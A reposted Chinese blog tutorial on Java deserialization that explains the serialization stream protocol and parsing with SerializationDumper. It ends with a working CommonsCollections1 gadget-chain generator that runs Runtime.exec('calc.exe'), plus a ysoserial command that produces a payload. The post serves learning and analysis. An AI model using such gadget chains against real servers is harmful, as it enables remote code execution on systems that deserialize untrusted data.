转载

Java反序列化-1-基础

很多语言都内建了序列化操作来提供对象的传输与持久存储,Java也不例外,而Java的反序列化可以说是Java中最常见的安全漏洞之一(其实是最近写插件经常遇到),于是记录一下。。

序列化与反序列化

关于序列化,首先说下整体情况:

  1. 序列化的目标是类的实例对象,一个类包含代码,类属性(静态属性)和对象属性,只有对象属性是独属于实例对象的,即只有对象属性需要被序列化。
  2. 这些对象的属性不一定都需要被序列化,而且也不一定都可以序列化,比如一些io handler是无法序列化的,另外就是可能由于某种原因(如安全考量)不可以直接序列化存储,而需要对数据进行一些加密等操作再序列化。即序列化的过程需要能够可控。
  3. 序列化的流可以用一套单独的结构来描述,这相对虚拟机字节码等做了一个抽象能够实现更好的兼容,也能实现对序列化流做静态解析。这种结构描述的序列化输出结构应该包含对象的数据,以及对象所属的类,只有这样才能在反序列化时知道这些对象的数据应该属于哪个类的实例对象,恢复出对应的实例以使用相应的类的(静态或非静态)方法及类的属性(静态属性)。
  4. 已经暗示但还需要强调,一般序列化和反序列化发生在不同的应用里,反序列化时需要根据输入的序列化流查找对应的类,对其进行实例化,再对产生的实例进行赋值操作,恢复数据,这里若是指定的类不存在于当前ClassLoader及其上层加载器里,且无法在ClassPath找到对应类,反序列化将会无法成功,即指定的要反序列化的对象在目标那里必须能找到对应的类。

Java有 多种序列化方式,如 :

ObjectInputStream.readObject  // 内建的流转化为Object
ObjectInputStream.readUnshared  // 内建的流转化为Object,使用非共享方式
XMLDecoder.readObject  // 读取xml转化为Object
Yaml.load  // yaml字符串转Object
XStream.fromXML  // XStream用于Java Object与xml相互转化
ObjectMapper.readValue  // jackson中的api
JSON.parseObject  // fastjson中的api

本篇只对它内建的序列化机制说明,对于Java内建的序列化,它的实现为:

  1. 使用实现 java.io.Serializable 接口的方式来声明该类的属性会被序列化,该接口未定义任何功能,即用户只需要implement该接口即可,它会做的事是:该类的所有对象属性都会被序列化存储,该类的子类将会继承序列化特性,可以使用 transient 修饰对象属性以表明不对该属性进行序列化。另外用户可以实现 writeObjectreadObject 方法来自定义序列化与反序列化的过程。
  2. 另外可以使用 java.io.Externalizable 接口来声明该类的属性会被序列化,与 Serializable 不同,它默认不会序列化任何对象,需要用户自己实现 writeExternalreadExternal 方法以实现对指定对象进行序列化或反序列化。
  3. 使用 java.io.ObjectOutputStreamwriteObject (或者 writeUnshared ,区别后面说)方法对对象进行序列化,使用 java.io.ObjectInputStreamreadObject 方法进行反序列化。

下面的例子用于演示一个序列化与反序列化的全过程:

import java.io.*;

class Person implements Serializable {  //实现Serializable接口
    public String lastName;  //对象属性
    static public String firstName;  //类属性
    transient int age;  //短暂(不会被序列化)的对象属性

    Person() {
        age = 18;
        firstName = "mao";
        lastName = "beta";
    }
}

public class SeriaTest {
    public static void main(String[] args) throws Exception {
        // 创建可序列化对象
        Person mmz = new Person();
        mmz.lastName = "B3ta";
        mmz.firstName = "Ma0";
        mmz.age = 20;
        System.out.println(String.format("before:/tln:%s/tfn:%s/tage:%d", mmz.lastName, mmz.firstName, mmz.age));
        //序列化操作
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(mmz);
        //改变原数据值
        mmz.lastName = "biubiu~";
        mmz.firstName = "miao~";
        mmz.age = 19;
        //反序列化
        ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bis);
        Person nmmz = (Person) ois.readObject();

        System.out.println(String.format("after:/tln:%s/tfn:%s/tage:%d", nmmz.lastName, nmmz.firstName, nmmz.age));
    }
}

它的输出为:

before:	ln:B3ta	fn:Ma0	    age:20
after:	ln:B3ta	fn:miao~	age:0

序列化流协议

流结构

在看别人插件时经常看到payload为16进制编码形式,通常以 ACED0005 开头,或者base64以 rO0AB 开头,这说明Java序列化不想php那么随性,根据 官方文档 ,可以把流的层级关系表现如下:

stream:
  magic version contents //magic: ac ed  version: 00 05 它们组合为序列化流头部 后接序列化内容

contents:  //下面是递归定义
  content
  contents content

content:  //一个content可以是一个object或者blockdata,后者被用于。。。
  object:
    newObject:
        TC_OBJECT classDesc newHandle classdata[]  // data for each class
            classDesc:
                newClassDesc
                nullReference
                (ClassDesc)prevObject      // an object required to be of type
                                            // ClassDesc
            newHandle: // 在非共享模式下,被序列化的对象引用的对象在被多次引用时只有第一次会被真正序列化(即此处)并为其生成一个序号(即newHandle),该序号从开始
                       // 递增,之后再遇到引用了已经被序列化的类时秩序要引用对应的handle即可(见下面的prevObject)
            classdata:
                nowrclass:  values        // SC_SERIALIZABLE & classDescFlag && !(SC_WRITE_METHOD & classDescFlags) 按类描述符顺序排列的字段
                wrclass objectAnnotation  // SC_SERIALIZABLE & classDescFlag && SC_WRITE_METHOD & classDescFlags
                    wrclass:  nowrclass
                externalContents:         //  SC_EXTERNALIZABLE & classDescFlag && !(SC_BLOCKDATA  & classDescFlags  readExternal使用
                    externalContent:     
                      ( bytes)                // primitive data
                          object
                    externalContents externalContent
                objectAnnotation:             // SC_EXTERNALIZABLE & classDescFlag&&  SC_BLOCKDATA & classDescFlags
                    endBlockData
                    contents endBlockData     // contents written by writeObject
                                              // or writeExternal PROTOCOL_VERSION_2.
            
    newClass:
        TC_CLASS classDesc newHandle
    newArray:
        TC_ARRAY classDesc newHandle (int)<size> values[size]
    newString:
        TC_STRING newHandle (utf)
        TC_LONGSTRING newHandle (long-utf)
    newEnum:
        TC_ENUM classDesc newHandle enumConstantName
            enumConstantName:    (String)object
    newClassDesc:
        TC_CLASSDESC className serialVersionUID newHandle classDescInfo  //普通类描述
            className:  (utf)
            serialVersionUID:  (long)
            classDescInfo:  classDescFlags fields classAnnotation superClassDesc 
                classDescFlags:  (byte)                  // Defined in Terminal Symbols and Constants
                fields:  (short)<count>  fieldDesc[count]
                    fieldDesc:
                        primitiveDesc:  prim_typecode fieldName
                        objectDesc:  obj_typecode fieldName className1
                            fieldName:  (utf)
                classAnnotation:
                    endBlockData:
                        TC_ENDBLOCKDATA
                    contents endBlockData      // contents written by annotateClass
                superClassDesc:  classDesc
        TC_PROXYCLASSDESC newHandle proxyClassDescInfo  // 代理类描述由标志 接口数 接口名 类注解组成
            proxyClassDescInfo:
                (int)<count> proxyInterfaceName[count] classAnnotation
                    proxyInterfaceName:  (utf)
                superClassDesc
    prevObject
        TC_REFERENCE (int)handle
    nullReference
        TC_NULL
    exception:
        TC_EXCEPTION reset (Throwable)object         reset 
    TC_RESET
  blockdata:
    blockdatashort:
        TC_BLOCKDATA (unsigned byte)<size> (byte)[size]
    blockdatalong:
        TC_BLOCKDATALONG (int)<size> (byte)[size]

如上,一个流由魔数,版本,内容组成,内容是递归定义的,总的来说一个对象由对象标志 TC_OBJECT ,类描述结构和对象属性组成,其中类描述结构 ClassDesc 最复杂,它会对普通类和动态代理类分开处理,一个对象的可序列化属性可能是其他对象,这些对象也会被序列化,在默认情况下只有第一次会被序列化,并为其生成一个handle,之后再遇到对该对象的引用只需引用该handle即可,在写插件的时候遇到的16进制的payload可以根据上面的格式进行分析,不过有专门的 工具SerializationDumper 已经实现了该功能:

# java -jar ysoserial.jar  CommonsCollections1 "ipconfig" > cc1  # 生成payload
# java -jar SerializationDumper-v1.1.jar  -r cc1  # 解析payload

STREAM_MAGIC - 0xac ed
STREAM_VERSION - 0x00 05
Contents
  TC_OBJECT - 0x73
    TC_CLASSDESC - 0x72
      className
        Length - 50 - 0x00 32
        Value - sun.reflect.annotation.AnnotationInvocationHandler - 0x73756e2e7265666c6563742e616e6e6f746174696f6e2e416e6e6f746174696f6e496e766f636174696f6e48616e646c6572
      serialVersionUID - 0x55 ca f5 0f 15 cb 7e a5
      newHandle 0x00 7e 00 00
      classDescFlags - 0x02 - SC_SERIALIZABLE
      fieldCount - 2 - 0x00 02
      Fields
        0:
          Object - L - 0x4c
          fieldName
            Length - 12 - 0x00 0c
            Value - memberValues - 0x6d656d62657256616c756573
          className1
            TC_STRING - 0x74
              newHandle 0x00 7e 00 01
              Length - 15 - 0x00 0f
              Value - Ljava/util/Map; - 0x4c6a6176612f7574696c2f4d61703b
        1:
          Object - L - 0x4c
          fieldName
            Length - 4 - 0x00 04
            Value - type - 0x74797065
            .....

此处,我们对照着 sun.reflect.annotation.AnnotationInvocationHandler 查看它的结构,可以看到它内部拥有各属性,继续向下看各属性又为其他对象,这样逆向就能看出该payload的原理,可以更方便的跟踪数据流,进行调试排错等。

ObjectStreamClass

对象序列化会使用 ObjectStreamClass 实例,该实例将会存储被序列化对象的各种信息,包括被序列化的域(对象属性),序列化UID,是使用 Serializable 还是 Externalizable 进行的序列化,序列化的类有没有实现一些特殊的方法等等,比如在 java.io.ObjectInputStream.readObject() 中有如下代码:

} else if (slotDesc.hasReadObjectMethod()) {  // 如果被序列化的有readObject方法
    ThreadDeath t = null;
    boolean reset = false;
    SerialCallbackContext oldContext = curContext;
    if (oldContext != null)
        oldContext.check();
    try {
        curContext = new SerialCallbackContext(obj, slotDesc);

        bin.setBlockDataMode(true);
        slotDesc.invokeReadObject(obj, this);  // 则调用readObject方法
        ....

它的 hasReadObjectMethod 就是依靠 ObjectStreamClass 在实例化时,使用如下语句实现的:

readObjectMethod = getPrivateMethod(cl, "readObject",
                        new Class<?>[] { ObjectInputStream.class },
                        Void.TYPE);//赋值readObjectMethod

反序列化漏洞

当反序列化的输入是可控的时,将可能导致反序列化漏洞:

  1. 浪费服务器资源造成拒绝服务
  2. 在如Cookie,User等处反序列化造成认证绕过
  3. 在利用链满足的条件下造成代码执行

此处之说第三点,它需要满足的条件是:

private void readObject(java.io.ObjectInputStream in)
readObject

CommonsCollections1

上面已经说到,要由任意对象反序列化上升到远程代码执行上,需要目标系统的环境满足一些条件,这里以最广为人知的 CommonsCollections1 作为例子,它用到了 commons-collections 3.1 这个库,该库是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强有力的数据结构类型并且实现了各种集合工具类。作为Apache开源项目的重要组件,它被广泛应用于各种Java应用的开发。( 库通常是和应用绑定的,无法直接从升级系统来获取更新补丁,所以很多Java应用都可能引入它。 )

public static void main(String[] args) throws Exception {
    // 如下,它会构造一个数组,该数组利用反射实现了如下功能
    // Runtime.getRuntime().exec("calc.exe")
    Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[] {
            String.class, Class[].class }, new Object[] {
            "getRuntime", new Class[0] }),
        new InvokerTransformer("invoke", new Class[] {
            Object.class, Object[].class }, new Object[] {
            null, new Object[0] }),
        new InvokerTransformer("exec", new Class[] {
            String.class }, new Object[] {"calc.exe"})};
    // 将构造的对象传入ChainedTransformer构成新的对象
    Transformer transformedChain = new ChainedTransformer(transformers);
    // 构造一个普通map并用decorate装饰为一个TransformedMap,它传入了上面构造的转换对象
    // 新的outerMap对象在值被读取(读取被设置为了null)或修改时将会调用transformedChain对象里描述的方法
    // 即这里利用反射在对象里加入了特定时候被调用的代码,算是在数据中嵌入了代码(这靠目标上的TransformedMap实现)
    Map innerMap = new hashMap();
    innerMap.put("value", "value");
    Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

    // 上面嵌入的代码需要使用setValue触发,但在实际环境中通常反序列化完成后就会进行类型转换
    // 很显然自定义的类型无法转换为指定类型,代码无法向下继续执行,更无法触发setValue方法
    // 因此,要用到另一个特性,readObject,在实现了该签名,可序列化,可在readObject里自动对其可序列
    // 化的一个map读或写值,则可触发代码,如下的AnnotationInvocationHandler类刚好满足要求
    Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
    ctor.setAccessible(true);
    // 此时instance对象在被反序列化时,会调用readObject方法,该方法内会对map做setValue操作
    // setValue时会使用map的transform方法,它会根据ChainedTransformer一次调用条Transformer
    // 即执行任意代码
    Object instance = ctor.newInstance(Target.class, outerMap);

    File f = new File("payload.bin");
    ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
    out.writeObject(instance);
    out.flush();
    out.close();

}

如注释所述,这条利用链主要分为两步,第一步构造任意代码执行的对象,第二不构造能触发第一步构造对象里的代码的对象,将它们封装在一起作为一个序列化对象输出,在目标对其反序列化时将会造成任意代码执行,事实上该例所示特性已经被当作漏洞被修复,但是 Apache Commons Collections 仍然存在其他数十种已知的利用链,而且其他库也可能存在利用链,从 ysoserial 中可以看到一些其他组件的利用链。

参考

  1. 《What Do WebLogic, WebSphere, JBoss, Jenkins, OpenNMS, and Your Application Have in Common? This Vulnerability.》- breenmachine
  2. 《OWASP AppSecCali 2015 - Marshalling Pickles》
  3. Lib之过?Java反序列化漏洞通用利用分析
原文  https://blog.betamao.me/2019/10/29/Java反序列化-1-基础/
正文到此结束
Loading...